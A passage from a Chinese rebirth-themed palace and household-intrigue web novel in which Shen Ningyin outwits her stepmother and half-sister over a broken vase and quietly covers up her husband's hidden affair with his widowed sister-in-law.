似方嬷嬷这等人，她觉着踩了也就踩了，甚至以为这样还帮她打压了沈宁音的锐气。
沈宁音亲手扶着老嬷嬷，语气温柔，关怀垂询：“方嬷嬷，你怎么样？”
不过是两句话，一番姿态，沈宁音并不介意以此收买人心，她做得自然而然，叫人瞧不出破绽。
方嬷嬷收了眼神，脸上带着感激的笑，仿佛并不在意：“不打紧。”可她沧桑的皮肤上已经显出淤青，怎可能不打紧？
所谓藏刀于心，口蜜腹剑，越是平静，越是狠。
沈宁音拉着方嬷嬷的手送出屋子：“我替妹妹跟你陪个不是，回头去祁秀院，我那还剩了两匹锦缎，您拿回去将就裁个衣裳。”
方嬷嬷眼里闪过惊讶。
沈宁音屋里的锦缎是老夫人给的，宫里赏下来的贡品，不是有银子就能买着的好东西。方嬷嬷心里得了熨帖，神色都真心了几分。
门口站着好些个仆人，将才都是满脸惊吓，尤其昌平侯府的人。
她们看惯了沈宁音温柔端庄，乍一看这另一位沈家小姐的泼辣不知礼数，都不自觉地将二人作比。
权贵高门的下人们，最是长舌，指不定什么时候沈家女动手伤人的名声就要被传扬开去。
沈宁音前世见多了这种事儿，可她并未开口提醒。
今生今世，让沈家女名声有污的，绝不再是她沈宁音。
沈宁音目光只落到兰香脸上，吩咐她带方嬷嬷去自己出嫁前住的蒹葭院歇息。
“母亲，我没想砸着她的。”沈弦思急红了眼。
沈宁音知道的，沈弦思想砸的人从来都是自己。
只是她们不知，这些个特意的针对并不能打压自己，反而，无形中助她收拢侯府的人脉。
“行了，你姐姐哪里会怪你？”没了昌平侯府的老嬷嬷在，沈夫人架子都往上端了端。
沈弦思转头看向沈宁音，眼神里的嫉妒与愤恨剪也剪不断。
她是头一遭见着那位昌平侯世子的。沈弦思攥紧了袖子。
从前只以为那人二十有六没个姬妾、也不成婚，定是个又老又丑还不举的胖男人。
沈宁音嫁了他定是要成天以泪洗面的。
今儿沈弦思都想好了要趁着沈宁音回门的日子好好羞辱她一番。
可谁知当那秦耀阳下马车那一刻，沈弦思才知自己大错特错了！
这男人非但出身显赫，生来就有板上钉钉的爵位，世世代代尊享荣华，而且还一副偏偏浊世佳公子的风流模样。
饶是沈弦思觉得自己与冷元景是青梅竹马的情分，可一对比这秦家世子爷，却样样皆给比下去了。
沈弦思退缩了，躲进门，然后逃走了。
她想要羞辱沈宁音的话怎么都说不出口来。
她咬着牙，脑子里千回百转，只觉得沈宁音那一身的绫罗锦衣，那满头的名贵头面，那完美的如意郎君，还有她那沉稳的仪态姿容。
一切的一切，的是抢了自己的。
“母亲，妹妹，方嬷嬷毕竟是侯府的人。”沈宁音声音低沉，显得尤为认真。
沈夫人眉头倏然就皱紧了：“怎么？你嫁去了秦家，就忘恩负义不念养育之恩了？为了个低贱下人就想跟你妹妹置气？”
沈宁音的帕子抵在下唇，敛眸：“
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女儿不是这个意思。”
“那你是什么意思？”沈夫人冷笑：“我看你是昏了头了，我给你精挑细选那么多得用的人不用，偏用个半截身子入土的外人！”
“回去就把她撵了！”
沈宁音闻言微不可查地蹙起眉。
她知晓沈夫人是个糊涂的，却不知道她除了糊涂还狂傲，娘家插手出嫁女夫家的后宅本就不妥当。
沈夫人想插手的竟还不是自家陪嫁过去的陪房，是人家侯府里头原有的奴婢。
可沈宁音知道这些，沈弦思却不知，她窝在沈夫人怀里朝沈宁音笑，笑意里闪烁着恶意与得意。
“母亲跟你说话，你听到没？”沈弦思挑衅地抬高了下巴，冷哼一声：“你哑巴了？”
沈宁音也不恼，似笑非笑地看着她。
结果先暴跳起来的反而是沈弦思：“沈宁音，你什么意思？你笑什么？！”
沈宁音并不退让，淡然地低头理了理裙摆，看似一个面对妹妹无理取闹时无奈的姐姐，可语气细听之下，又带着些嘲讽：“妹妹觉着我笑什么，那便是笑什么吧。”
“你！”沈弦思原就憋着满肚子怨气，着会儿当着沈宁音的面，被她撩拨得更气了。
沈夫人冷冷冲沈宁音叱：“你闭嘴！”
“今儿是回门，我不同你计较，你要搞清楚！是侯府要求着咱们家办事儿。你还没掌中馈呢，竟学会了忤逆长辈！”
沈夫人越说越有底气，冷冷冲沈宁音道：“大喜的日子，跪祠堂也就免了。”
看了一眼嫡姐的亲女儿，沈夫人是怒其不争又不得不护着。道：“我看你今儿带了不少好东西过来，你就做主让你妹妹从里头挑些合眼缘的东西做添妆吧。”
沈弦思一听，眼睛都亮了。
她从前看过那些侯府送来的聘礼，早已经见识过昌平侯府的富贵，这会儿哪有不蠢蠢欲动的。
沈夫人话音刚落，她就已经迫不及待地走出门去。
沈宁音蹙眉，她半点都不理解，沈夫人这辈子，不曾从母家得着温情与在意，却偏总想着燃烧自己也要成全这执念。
从前，自己不得她欢喜，因是她姐姐的女儿，不是她亲生的。
寒冬夜读，识文断字，抄书学诗，若力有不济，便会被罚跪。
可多年之后，沈弦思被找回来，同样是女儿，她却将人往蜜里疼宠。
不计后果，突破底限。
沈宁音羡慕。
即便重来一次，沈宁音以为自己会浑不在意的，可在心里划下一刀时，即便流出的血是黑的，可痛也是真实的，一点一点，剜肉剔骨。
沈宁音听见自己平静地开口：“母亲，侯府送来的东西都是上了册子的。要怎么理码，如何分拆，合该是入了府库之后侍郎府的安排。我岂能越俎代庖。”
她说的皆是事实。
沈夫人却莫名听出些弦外之音来：“你是觉着我做了你的主，是在越俎代庖？”
“女儿不敢。”沈宁音垂眸。
沈夫人站起身：“不敢？不敢就跪下再说话！”
沈宁音站了起来，却没跪。
13. 旧物
没旁人在，沈宁音也不想在沈夫人跟前听数落、表演什么母慈女孝。
她当即敛衽微笑：“母亲罚我事小，妹妹这会儿怕是已经去挑东西了。今儿侯府刚送的礼，当着面，若是磕碰坏什么，爹爹怕是要没面子的。”
沈宁音搬出了沈定山来，沈夫人想起沈侍郎最近的冷脸来，当即终于清醒了七八分：“你妹妹怎会是那种人？”
话虽这样说，但沈夫人半点不拖慢，领着人就往东苑的府库赶。
沈宁音即便前世不怎么与沈弦思往来也知其为人，更遑论有些小聪明的沈夫人。
只是她们到东苑的时候似乎已经迟了。
地上一个半透明的琉璃瓶已经摔裂，不规则的裂痕从瓶口插下去，几个侯府仆从盯着地上的琉璃瓶敢怒不敢言。
“怕个什么？”沈弦思还不以为意，还在颐指气使：“裂了就裂了，打扫了出去就是。我又不是故意的。”
没人听她的，沈弦思就吩咐自个儿的丫头去扫：“碾碎些，埋深点。”
往日，无妨阮家还是侍郎府，没有人敢忤逆她，沈弦思做起来毫无顾忌。只要毁了、认不出来，没有证据之下，沈定山也不能拿她如何。
沈宁音耳力好，远远儿地听了全部，她也不急，来的路上沈宁音就已经估摸着时间叫染竹去前院了。
沈夫人看沈弦思自己要动手去砸，连忙上前：“慢着。”
沈弦思吃了一惊，一双江南水乡养出来的漂亮眸子闪了闪，很快就红了眼圈，她扑进了沈夫人怀里：“母亲，怎么了嘛？您也要责备我么？”
沈夫人握着她的手，拍了拍沈弦思的后背。沈宁音走到近前时，听见沈夫人意有所指的话：“一个瓶子罢了，回头入了府库也是要给你的，莫说不是故意，便是砸了听个响，我看谁敢说嘴。”
沈宁音就知道她是说给自个儿听的。
沈夫人眸光沉了沉，转向沈宁音：“你来砸吧。”
沈宁音心下冷笑，拿捏好神色，赶了两步抢了一旁管事嬷嬷的话，劝道：“砸不得。”
沈夫人没有执掌中馈的本事，靠着的全是娘家派过来的老练陪房，平日里她只要做做样子就行。
在兰芝院时，管事嬷嬷不在，这会儿她是一定要劝着的。便是人家送你了，客人还没走，你就把礼给砸了，这不是落别人脸面么？
只是沈宁音抢了这话，嬷嬷便也悻悻没有迈腿。
这两年沈家的孩子们都大了，要出去议亲，沈夫人总不能做个甩手掌柜了。
不得已，沈定山才逐渐放了权，给了沈夫人当家主母的体面。可如今，她是越发不顶事。
沈夫人越管越乱套，甚至还比不得她瞧不上的沈远淮老婆蔡氏。
沈宁音手抚着琉璃瓶的裂痕劝道：“这瓶子是从西夷传过来的，找个镶银师傅补一补也能拿出来摆摆。”
她没说的是，瓶子是老夫人福寿堂里搬出来的摆件，老夫人叫她挑，沈宁音便特意指了这一件，除了值些钱外，还是旧物。
所谓旧物，那就不是钱的事了，多少有些回忆在的。譬如——这瓶子原本就裂开的，只是没那么明显。
当初周婉弄的，那年的秦耀阳才15岁，血气方刚、情窦初开，年长的周婉犯了错处，是他帮忙遮掩。
也算是这场见不得人的爱恋里最狗血的一环。
眼下，只不过是沈弦思自以为是的误会罢了。
“你不肯动手，还砌辞推诿！”沈夫人冷着脸，从先前入府时累积的愠怒层层累积，她冷冷一笑：“我是支使不动你了！你还真以为嫁去了昌平侯府就可以不听母命了是么？”
沈夫人其实翻来覆去，也不过是那些个打压洗脑的简单手段。
一旦压不弯对方的脊梁了，她便会把孝字压上来。
她要你低头，要你放弃，要你投鼠忌器。
说来也觉得自己可笑，前世的沈宁音最吃这个，如今想想，自己又何尝不是另一个沈夫人？
得不到母亲的爱，就越发成了执念、成了心魔。
“沈宁音！你侍郎府的东西，你亲手处置了，莫要叫为娘的操心。”沈夫人见她低垂着头没有反驳的模样，只以为她改了想法。
沈宁音抬起脸，眸底是一闪而过的冷光，她知道时机差不多了，开口道：“既是妹妹弄坏的，自然要请妹妹先同我一起去父亲跟前说明一二。”
“不然，父亲说不定疑了我。”沈宁音点了个丫鬟，叫她小心抱着琉璃瓶，做足了姿态要去沈定山面前分说。
一连被沈定山冷落好几日，沈夫人再如何拿乔，如今也是怕了那男人。
连她都怕，沈弦思就更犯怵了，可年轻骄纵就是有犯错的资本。
到底是元配嫡妻的女儿，又流落在外十几年。沈定山对她是有愧疚的。
越胡闹的小孩儿越知道试探并且挖掘长辈的底线，沈弦思也是一样。
她知道沈定山不会真的下狠手罚自己。
当下，沈宁音抬手要来拉着她，沈弦思一下子避开，径直冲向抱瓶子的丫鬟，重重地推了她一下。
“砰——”的一声，碎片飞溅，周围传出不小的惊呼声。
那瓶子厚实，但琉璃到底是脆弱易碎，有了裂纹之后，几乎是触及青石地面的瞬间就四分五裂了。
这下，拼也是拼凑不好了。
沈弦思看着呆滞当场的沈宁音，眼底生出毫不掩饰的得意来，沈夫人也是松了口气。
下一秒，沈宁音蹲在地上碰了一下那碎片，新开的薄面像利刃般，沈宁音的手指瞬间就沁出血来。
沈夫人看见她手上的伤，眼神冷得很。
恰此时，一个矜贵俊美的身影从后方快步走了过来：“宁音！”
秦耀阳的声音，将沈宁音与沈夫人将将放下的心又提了起来。
男人低头看向地上的碎片，清俊的眉宇几乎拧成一团。
“世……姐夫。”沈弦思看着秦耀阳，原就水灵的眸子仿若笼上了一抹氤氲，她指向沈宁音：“是二姐做的！她打碎的。”
秦耀阳仿佛没听见，脸色十分难看，似有着一股子无处发泄的怒气在眉心盘旋。
男人攥紧了拳头，胸膛起伏，半晌，才看向了沈宁音。
沈宁音也没解释，只是满脸愧疚地低下头来。
“有些人打破了东西，还故意弄伤手博取同情！真没想到，会是这种人。”沈弦思越说越起劲，说完之
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后连她自己都信了。
“岳母。”秦耀阳看向沈夫人：“是这样吗？”
不出沈宁音预料，沈夫人不可能替自己说话，她愣了一下后斟酌着打圆场：“一件琉璃瓶而已，打碎了就算了。宁儿嫁妆里有不少好东西，回头我叫人去她那儿挑一件回来补上就行。”
沈夫人还以为秦耀阳是因为信了沈弦思的话而神情恍惚。
毕竟昌平侯府求上门的事情，她是沈定山的枕边人，再清楚不过。
可秦耀阳不止因为这个，也并非是愧疚。
沈宁音知道，他是生气的，他看过来的表情，冷得不带半点感情，她苦心经营的一点点偏爱就像是冰雪遇着毒日般消融了个干净。
沈宁音捂着手指，眼神里透着恰到好处的不解与委屈。
嫣红的血珠滴落，将碎片当中的一片娟子染出了明显的艳色。
沈弦思眼尖，突然喊了一声：“啊！那是什么？”
原本紧绷的气氛经这一嗓子，骤然皴裂开来，众人都望向了那一地碎瓷里露出端倪的一条丝帕。
这丝帕与琉璃的颜色相近，并不是纯粹的白，若非沈宁音的血，只怕很难有人会发现。
秦耀阳不知想到了什么，迷茫的眼神倏然就变了，活像是被踩了尾巴的猫，整个身子都紧绷起来。
他其实并不那么擅长隐藏情绪，比起冷元景简直是差了十万八千里，沈宁音看向了他时，秦耀阳眼底的惊慌与紧张几乎是一眼被自己瞧了出来。
秦耀阳僵着身子，反应过来时，下意识要把绢帕抓在手上，可沈弦思素来是个惹祸精，在这种事情上永远比脑子快一步。
沈弦思捏着帕子一抖，上面沾染的玻璃渣就簌簌下落。
沈夫人也回过味儿来——能出现在侯府的女子私物，只怕有什么不好揣测的缘故。
可没等沈夫人出口阻拦，沈弦思已经把帕子展开了：“看！上面好像绣着海棠花？”
秦耀阳的呼吸更急促了几分，目光死死盯着沈弦思。
察觉到目光，沈弦思下意识地往视线来源看去。
可她甫一抬头，看见的，却是沈宁音那张令她讨厌的脸。
沈宁音神色淡然，手上却不客气，一把将东西抢在手里。
“你干什么？！”沈弦思一怒之下，怒了一下。她再不待见沈宁音，有秦耀阳在，她多少还是维持着些姿态的。
沈弦思转而绕过沈宁音冲秦耀阳道：“姐夫！你瞧她，非但砸了东西，还公然从我手里抢东西！”
没等秦耀阳说话，沈宁音已经垂眸，一边细细清理绢帕上的琉璃碎屑，一边把帕子叠好。
她走到秦耀阳面前，面对男人质疑、愠怒的眼神，沈宁音握住他的手。
秦耀阳紧绷着胳膊，为免他挣脱，沈宁音将他的手腕握得很紧，然后当着所有人的面，将帕子放到男人的手掌心。
“这是怎么回事？”沈夫人皱紧了眉：“这帕子是谁的？”
秦耀阳死死盯着妻子。
沈宁音从他眼底看到了猜忌、凶狠，犹豫，各种情绪交织，却唯独没有对自己的信任。
“你。”男人的声音低沉，眸光将她覆没：“这是做什么？”
14. 回府
沈宁音微微靠近，姿态又不至于过分亲昵，她眸色里染着笑，捏了捏他紧绷的指节：“这是妾身绣的东西，原想着找机会送去你那，谁知竟找不见了。没想到忙来忙去，竟落在了礼物中，你快些收好。”
秦耀阳神色又重新冷静下来，将东西往袖中一塞，整个人都放松许多，他眼角眉梢带着感激与温柔，抿着薄唇，抬手握住了妻子的手：“好。”
众人不由得惊叹。
传言果然非虚，沈二姑娘嫁了个好夫君，两人举案齐眉的样子，简直叫人羡慕。
“二姐姐，你少胡诌。”沈弦思攥紧拳头，胸膛起伏，目光冷冷地在沈宁音脸上逡巡：“你便要绣，又怎会绣什么海棠花？”
沈弦思见不得沈宁音好，更见不得她得意，她偷来的姻缘，偷来的地位，她是个彻头彻尾的贼，这样的人怎配有幸福？
那么完美的夫君怎么能连性情都这么完美？！
沈弦思不服！更不信！
沈夫人眼瞧着秦世子的眼神都变了，冷得恍若三月料峭寒风，她连忙叫人去拉着点沈弦思。
沈弦思一把甩开了丫鬟：“拉我做什么？我又没说错！”她冲着秦耀阳恳切地喊着：“姐夫！你别信她！沈宁音一定有问题！”
旁人兴许忽略了，可沈弦思讨厌死了沈宁音，方才很清晰地瞧出了秦耀阳眼里对沈宁音的不满与冰冷。
怎么这样蹩脚的理由下，那谪仙般的男子竟信了？
秦耀阳冰冷的眸光在沈弦思脸上凝结，黑漆漆的瞳仁像是要将她拉入深渊，饶是沈弦思无法无天惯了，此刻都不得不滞住了呼吸。
沈弦思怕了，水润的眼睛都红了，如投林的鸟儿般扑进沈夫人的怀里，她只以为秦耀阳是给新婚娇妻迷惑，要包庇沈宁音，尤不死心地小声啜泣：“母亲！我又没错！二姐姐答不上来，定是心里有鬼！要查！一定要查！”
“思儿……”沈夫人小声哄了她两句，狠狠瞪了沈宁音一眼。
这样打压责怪的眼神，不过是沈夫人这些年的习惯成自然。只是她没想到有人怒了。
都不必沈宁音挤眼泪装委屈了，秦耀阳抬手握住了沈宁音的手，冷笑着拔高音量：“我看谁敢！”
“宁音是我昌平侯府的人，是我的妻！”他冷冷扫视众人，目光最后落到沈弦思脸上：“妹妹还想查侯府！这手未免伸得太长！”
沈夫人一看不好，连忙道：“思儿不是这个意思，大家都是一家人……”
沈宁音抬头，压低了眉尖：“世子，我没关系的，不要伤了和气……”
秦耀阳一看沈宁音这好欺负好说话的受气包模样，看向沈夫人母女的的眼神更怒了：“你看看你这个好妹妹！骄纵泼辣，堂堂侍郎府怎么出了这么个……”
沈宁音都惊了，这话跟扇沈夫人巴掌没什么区别，沈夫人惨白着一张脸，又气不过，浑身都在抖。
男人这是护妻护到连长辈的面子都不给了！
“我们回家。”秦耀阳说着，拉住了沈宁音的手，一副不让妻子受气的姿态。
沈弦思忘了哭，眼睛鼻子酸涩得要命，却不及心中的酸楚。她突然觉得，眼前这个为了妻子顶撞长辈甚至骂自己没教养的男人好生帅气。
自己怕是错过了一桩极好的姻缘，也错过了一个极好的男人。
此时此刻，所有人都觉得，秦耀阳是冲冠一怒为红颜。
唯独沈宁音清醒的知道，秦耀阳为什么这样暴怒。沈弦思攀扯着自己，却不知真正有问题的不是沈宁音，而是他秦耀阳。
秦耀阳拉着她走，沈宁音就顺水推舟。
两人刚走到月洞门，迎面就碰见听着消息赶过来的沈定山。
见着他，已经冷静下来的秦耀阳未免有几分尴尬，他摸了摸鼻子打招呼：“岳丈大人。”
沈定山端着镇定，但眉头略蹙：“这是怎么了？”
又看了一眼两人身后跟着的一大群仆从，沈定山道：“要走？”
秦耀阳虽被宠坏了，私底下还做出些荒唐事，但礼仪周正，是侯府从小调教出来的，他执礼恭敬地开口：“小婿还有事，就先与宁音回去了。”
“不可。”沈定山捋着胡须，语气不容置疑：“用过晚膳再走不迟。”
“这……”秦耀阳眼角余光瞥向一旁的沈宁音。
与大多数被宠坏的晚辈类似，秦耀阳其实不太擅长应对陌生长辈。方才闹了那么大一出，要他亲口应下，实在拉不下脸。要拒绝的话，他今儿是陪着妻子归宁，而且刚刚还同沈定山商谈过。
秦耀阳举棋不定，急得脖子都有些泛红，沈宁音就笑着冲沈定山福身行礼：“谢过父亲。”
她开口应承，秦耀阳有了台阶，心也定了，便没推辞。
沈宁音要了贤惠的名声，又得了沈定山的好感。
最紧要的是，她瞧见沈定山眉梢轻抬，目光里有着衡量。
沈宁音知道，无妨事实如何，但在沈定山看来，秦耀阳肯听她的话，那就有了她目前最大的筹码。
嫁去昌平侯府，沈家本就是为着利益，而沈宁音短期内都不可能生下嫡子，这份筹码足以叫自己拖个好几年去。
侍郎府里，浓重的归宁府宴，办得极丰盛，沈家不吝成本，南方裹着冰送来的新鲜水果，稀有的活鱼活虾，还有各色名贵小吃，琳琅满目。
沈夫人打了个照面儿就下去了，脸色十分难看，沈定山只说她是病了，就招呼着沈宁音与秦耀阳吃菜。
至于沈弦思，无人在意。沈宁音只听染竹在耳边小声禀告。
“听说思姑娘表面上是因着待嫁所以足不出院，其实是被禁足了。”
回去的马车上，车声粼粼，外头的喧闹声被堵在厚实的车帘后，沈宁音心里平静无波，拢了拢身上的批帛，淡声应：“是么？”
染竹手里抓了几颗花生，一面剥一面道：“还有呢，听闻老爷气得不轻，把她挑好的添妆都收了，一件也不许她拿。”
“思姑娘还闹呢，听说把屋子里的瓷器都砸了……脆声儿得紧。”
沈宁音心情似乎变
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好了些，但不多，她展了展披帛，也没说话。
事儿可不算是完了，绢帕的事，秦耀阳回过味儿来，定是要问的。
回到祁秀院。
因着涉及正事，秦耀阳先去松鹤堂回话，沈宁音便先回了。
祖孙二人聊了许久，沈宁音便照着烛火拿出了绣绷。
等三更天时，秦耀阳从夜色中往回走，抄手游廊里，大红色的灯笼还没取下来，风吹着，连影子都在晃动。
他隐约听着远处有哭闹声，皱了皱眉，向着祁秀院的脚尖略转，往远处去。
袖子里的东西攥紧，指腹轻轻摩挲，也不必亲眼去看，太熟悉的东西，只是循着起伏，便能想到，那朵微红清绝的海棠花来。没走多远，前方的灯笼恰好熄了一只。
那里有个亭子。
他找出个瓦碗，站了好一会儿，才将那绣帕抽出来。
就在秦耀阳愣怔之际，有脚步声从自夜色里传来。
青石板路上哒哒哒的声音，有点儿急。
“世子！世子爷！总算找到您了！”来人在黑漆漆的亭子外站定。
“咚”的一声，那仆婢的膝盖重重砸在了青石板地面。
这仆婢的声音有些声，但因着还不算特殊，所以秦耀阳有点印象。
前两日周婉身边儿下人胡说她重病，虽说后来要撵出去的人大部分都领回去了。但那几个贴身丫鬟，老夫人做主都给打发出去。
这丫鬟就是新进府伺候在兰心居的小婢子。
秦耀阳将手里的帕子用力握紧，一面往袖子深处塞去，一面转身询问：“何事这么慌慌张张的？”
他语气里十分地不耐烦，也不等那婢子开口，便先催促：“说啊！”
婢子头一遭就近看秦耀阳，她抬起脑袋，可惜亭子里也没有灯火，黑蒙蒙一片，既看不清他的神色也拿捏不了他的意图。
这一切不过是瞬间，婢子哆嗦着开口：“小哥儿哭闹不止，想是病了。”
听见小哥儿，秦耀阳脑子里瞬间交织起无视回忆的画面，袖子里的那片绢帕死死攥紧了。
“怎么会病了！？”他拔高了声音，愤怒又急切：“你们怎么伺候的？”
婢子看他急匆匆往后方走，她不敢怠慢，连忙爬起来跌跌撞撞地跟过去。
“世子！世子！您等等！”婢子心惊胆战，怕他骤然冲过去会坏了事。
也顾不得膝盖疼，连忙拦在前面。
“滚开！”秦耀阳脸色难看。
婢子硬着头皮开口：“老夫人下了死命不许您去看小哥儿。”
她惨白着脸色祈求：“您若当真冲过去了，奴婢可就活不成了！”
秦耀阳被这么一说，这才反应过来，他沉着脸色，目光里又几分举棋不定。
“那怎么办？”
婢子等的就是这句话，她连忙道：“老夫人与夫人不要您去，但大少夫人可以接小哥儿过去兰心居，您去那里看哥儿也是合适的。”
她忐忑不安地看向面前的世子爷。
15. 拒绝
秦耀阳此刻迎着灯笼的光，如玉的面容上流露出愣怔来，眼梢瞬间的迷茫倏然化作了难以言喻的烦躁与疲惫。
他深深盯了那婢子一眼，骨节分明的手指攥着那方绢帕，此刻也缓缓松了开去。
婢子猜不透秦耀阳的想法，此刻只继续说着：“世子，奴婢给您引路。”
“不必了。”秦耀阳的声音又冷又沉。
“世子？”婢子身子一颤，脸上流露出不敢置信。
其实来的时候婢子便听过告诫，说世子定会过去，到时候只要避着夫人与老夫人，是断没有不成的。
可如今，她听着了什么？
秦耀阳冷淡的脸上甚至蹙紧了眉头：“照看不好哥儿就给我滚。谁叫你来的你就让谁找郎中去！”
他说完这话，看都没再看婢子一眼，绕开她就往抄手游廊走去。
婢子知道那方向，是通往祁秀院。
“世子，您回来了。”染竹和几个丫鬟正在门外熄灯笼，冷不丁竟看见秦耀阳来，几个人连忙行礼。
秦耀阳将大氅递给染竹，一面往里去，一面随口问：“你们少夫人呢？”
染竹道：“少夫人歇下了，奴婢这就去请。”
“不必吵她。”秦耀阳脚步略顿，打算先拿些被褥去书房。
他此刻心情烦躁，打算看看书冷静一下。
可刚行至屋内，沈宁音已经迎了出来。
“世子。”她微笑着，脸上还带着些困倦，乌发如瀑般披散在肩膀，她身上披着外裳，烛光映照下，偏就是这样随意的穿着，将沈宁音那原本规矩端庄的气质牵连出几分娇媚婉约来。
秦耀阳已经很久没有在周婉身上感受到那些年少久违的悸动了，可此刻竟然在沈宁音身上有了这种异样的感觉。
“世子？”沈宁音拢了拢衣裳，又唤了一声。秦耀阳到底是反应过来，捏着的手掌被到身后轻咳了声：“嗯？”
沈宁音假装没瞧出半分端倪，将他引到桌旁坐了，询问起老夫人那边儿说了什么。
事涉昌平侯，沈宁音知道秦耀阳暂时还不会全盘告诉自己。但沈宁音本也是转移下话头罢了。
两人聊了几句之后，秦耀阳问起：“今日谢谢你解围。”
沈宁音喝水的手顿了一瞬，抬头时，嘴角噙着笑，故作不知：“世子说的什么？”
秦耀阳神色认真：“那花瓶之事。”他说着话，目光落在她缠着布条的手指上。
印象里，他从没有仔细看过沈宁音的手。
他只宝贝地摩挲过周婉的，那双手下细养护过，二十九岁，已经不再水嫩，可是依旧凝脂润泽。
秦耀阳想，沈宁音才十七，也该是如此，只是从一开始，他便没有见着她的手好过。
不是这里伤，便是那里破。
今儿她的指尖又伤了，秦耀阳想象着层层叠叠的纱布之下，他曾见过的那些可怕伤口。
虽知道这次没那么重，但那天的情形在心里扎根太深，秦耀阳眼睛里闪过不忍。
沈宁音瞧得很清楚，不是心疼，只是不忍，她微微一笑，将手背到身后：“小伤罢了，不打紧的。”
秦耀阳看不着她的手，只能抬头去寻她的眼，犹豫着即将出口的事儿。
沈宁音的眼神温柔，仿若能包容一切，瞳仁里映着明亮的烛光：“世子，有什么话，你直说无妨。”
听她都这般说了，秦耀阳的眼神微微敏锐了几分：“那琉璃瓶中的绢帕……”
沈宁音蓦地低下头，轻笑着打断：“世子，您怎么提这个？”
“莫不是嫌弃妾身绣工粗鄙？”
这下，轮到秦耀阳愣住，他神色变幻，半晌，才开口：“你不是说绣了两条？”
“是啊。”沈宁音像是将将反应过来，她从绣篓子里果真翻出条帕子递过去。
秦耀阳接在手中，整个人怔住。绣样同样是一枝海棠，不同的是，针脚规矩细密，像是很用心绣出来的。
虽说样式与他袖子里的并不一样，但乍一看，倒是极可能看错的。
秦耀阳惊呆了，他原以为妻子只是为了掩护，却没料到竟真有！
“世子，怎么了？”沈宁音担忧询问的声音很轻。
秦耀阳回神看过去，忙摇了摇头，笑着道：“没什么，这帕子，我很喜欢。只是……”他还是有点不放心，谨慎询问：“你为何会绣海棠花？”
沈宁音心里一惊，自己都已经尽量将海棠绣得精致，精致到看起来并不像是临时绣出来一样了，没想到他竟还要这般追问。
好在，沈宁音从来都习惯做足准备，她拿起杯子呷了一口，声音带了几分温柔笑意：“夫君竟忘了，你曾赠给我几支海棠簪。”
那金色的海棠簪还算别致，秦耀阳一下子就想了起来：“嗯。”
沈宁音笑容带了几分羞赧：“妾身私心想着，世子一定是喜欢海棠的，所以就绣了两枝。”
“对了。”她看向他：“白天的那一条已经脏了，你拿给我，妾身替你重绣一条吧？”
沈宁音伸手时，秦耀阳忙将手里刚拿到的帕子塞进袖子里，起身开口：“不必，洗一洗就好，哪里会脏呢？”
“好吧。”沈宁音也不坚持，也站起来，吩咐着染竹与兰香给他整治屏风后的软榻。
秦耀阳便没再推辞，当夜歇下来了。
沈宁音安顿好他，叫人去打听外头的情况，她总觉着今晚有些不寻常。
兰心居内，秦齐嗓子都哭哑了：“娘！娘！我不要回厢房去！那儿房子小，一点也不香！我要跟娘住！”
周婉很头疼，无奈秦齐一直想往她跟前儿凑。
“不能喊娘！要叫大少夫人。”奶娘的教训都带着点哄。
秦齐脾气上来了根本不给奶娘面子，他死死抱着周婉：“娘就是娘，凭什么要叫大少夫人？！”
此刻周婉也有几分后悔，倘使秦耀阳过来，这秦齐再胡说些什么话，那可就不好了，秦耀阳素来疼爱秦齐，几乎将人宠到了骨子里。
但现如今，秦耀阳似乎是哪里变了。周婉也说不准，但她怕。
她想着先拿秦齐为由头把人叫过来。
周婉了解那男人，自私，又自诩重情，只他肯来，耳鬓厮磨下，总能让那些旧情燃烧起来。
如今他有了妻，那两人又每夜歇在一处，难免擦枪走火。周婉已经二十九的年岁，不年轻了，再不抓紧这昌平侯府的未来，以后就没机会了。
“回来了。”有小丫鬟掀帘禀告。
周婉心下一喜，知道是派过去请人的
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婢子回来了，她连忙对着镜子抿了抿鬓角，问：“世子也来了？”
小丫鬟没回话。
周婉意识到什么，表情一僵，转头看向门口。
一个婢子从夜色中走进来，跪在地上磕头：“大少夫人，世子不肯过来……”
婢子哆哆嗦嗦的，脸色苍白，也不知是吓的，还是给夜风冷的。
周婉神色瞬间沉了下去，她指甲掐在掌心，咬牙追问：“他为何不来？你没告诉他小哥儿生病了？哥儿这么小，我不信他忍心不来！”
婢子吓得花容失色，连忙匍匐在地：“大少夫人！奴婢说了的！奴婢真的说了的！”
“可是世子说……”
周婉秀眉紧蹙，追问：“他说什么？”
婢子哆哆嗦嗦开口：“世子让大少夫人找郎中去……”
周婉心里的一口气骤然哽上喉咙，她抓起一只瓷碗就砸到了地上，所有人都吓得跪地，就连天不怕地不怕的秦齐都吓得一时忘了哭。
他想不明白为何从来温柔的娘亲竟然发这么大的火。
可等秦齐反应过来继续哇哇大哭的时候，周婉已经恶狠狠地瞪着他：“哭什么哭？！”
周婉忍了秦齐一夜的哭闹，一开始她其实是放纵的，只想着能把秦耀阳引过来，到现在，什么都落了空。
又听闻秦耀阳回了祁秀院去，周婉心里就尤其难受起来，她知道，今晚秦齐再怎么哭也哭不来他那狠心的爹！
周婉刚吩咐人收拾碎瓷，打算抱秦齐去里屋歇着，门口门帘子一掀，陶妈妈领着几个人就进来了。
“陶妈妈？”周婉眼瞅着陶妈妈上前，一把将哭闹的秦齐从她怀里抱走。周婉眼圈都红了。
周婉没敢问，因为她不问也知道缘故。
齐哥儿见不得光，更不能在如今这种情况下见光。
陶妈妈吩咐几个婆子丫鬟与奶娘一起把秦齐带回厢房去，目光沉沉地看向周婉。
周婉捏着帕子，眼神躲闪。
“大少夫人，夜这么深了，你这是做什么？你若真想着收养嗣子，与夫人说一声便可，怎么能半夜把人接过来？”
陶妈妈凝眉，想着她守寡好些年，到底放软了声音：“要不明儿一早，就跟夫人说说去？夫人定能体恤你。”
周婉唇瓣霎时抿得失了血色：“不……不用的。”她揪着帕子，低头，心里恨恨不平，嘴里却道：“我只是见他从小失诂煞是可怜，多疼了他几分。”
“陶妈妈只管带他去歇着，我不要紧。”
周婉抬头时，神色诚恳。
她这些年来在昌平侯府的苦心经营，到底不是白费，陶妈妈是府里的老人了，懂得世故，便是看在宫里那位元妃娘娘面上，她的主子侯夫人闵氏也得给周婉几分照拂，更何况是她陶妈妈。
陶妈妈道：“这孩子家里虽是秦家亲戚，但死了爹、又死了娘，还调皮得紧，大少夫人您真要收养的话，夫人心疼你，应该也不会同意。”
周婉听着陶妈妈的话，心就像是给捅了个窟窿似的。
偏陶妈妈一片好心，是当真掏心窝子的话，周婉心里恨，却又不得不摆出笑脸点头。
“大少夫人不收他，过几日秦家开宗祠，二少夫人去上香，咱们族里总会有人家收的。”
